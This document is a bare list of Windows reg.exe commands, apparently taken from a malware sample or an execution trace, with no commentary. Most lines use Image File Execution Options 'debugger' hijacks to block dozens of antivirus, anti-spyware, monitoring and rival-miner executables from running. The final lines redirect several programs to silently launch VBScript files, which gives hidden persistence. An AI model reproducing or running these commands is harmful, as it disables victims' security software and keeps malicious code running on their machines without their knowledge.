'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt2.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seccenter.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svehost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpscvs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDShred.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InjectWinSockServiceV3.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regsvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jusched.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebProtectorPlus.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NableAVDBridge.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SSScheduler.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SUPERANTISPYWARE.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SASCORE64.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srcver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\command.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwwin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\soqkci.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\task.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SASCORE.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nlas.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeter.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeterSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iptray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sfc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\1sass.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdpthread.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\native.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windefender.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCloudCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\networx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsaoss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wtssvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\szndesktop.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmTaskTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClamSentinel.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmWebService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgrr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bootsvchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\z.tmp" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssvchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netupdsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\syshost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtgwatchdog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PRTG Traffic Grapher.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nethtsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cputest.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESERV.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrcs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpzaw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqsgmo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcnoct.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econceal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trayeser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smcc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xstartui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hkcmd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDALeakfixer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bddownloader.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Smc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\server.dat" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Isass.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Go.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BurstTCPClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wqscmc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop Locker.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winIogon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traysser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webtmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wintmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Q.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jozruq.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svshost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\XTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SH4Service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctlx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traycser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TRAYICOC.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpmapp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\myAgtSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tps.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWASER.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfeann.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GeekBuddyRSP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\unit_manager.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\unit.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chromodo_updater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pricefountainw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Plugin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWAGENT.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop_Locker" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\launcher_service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfevtps.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FrameworkService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setap_c.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nheqminer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sapissvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\emlproxy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ONLINENT.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OPSSVC.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpyHunter4.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\quhlpsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduHips.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\N360.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\N360ChkServ.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VsTskMgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UdaterUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\naPrdMgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McScript_InUse.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduProtect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinCtrProc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMiniDlUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDdaSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winscp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ApVxdWin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AnVir.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\turbomailer.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svdhost.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frdpb_v2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pr.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
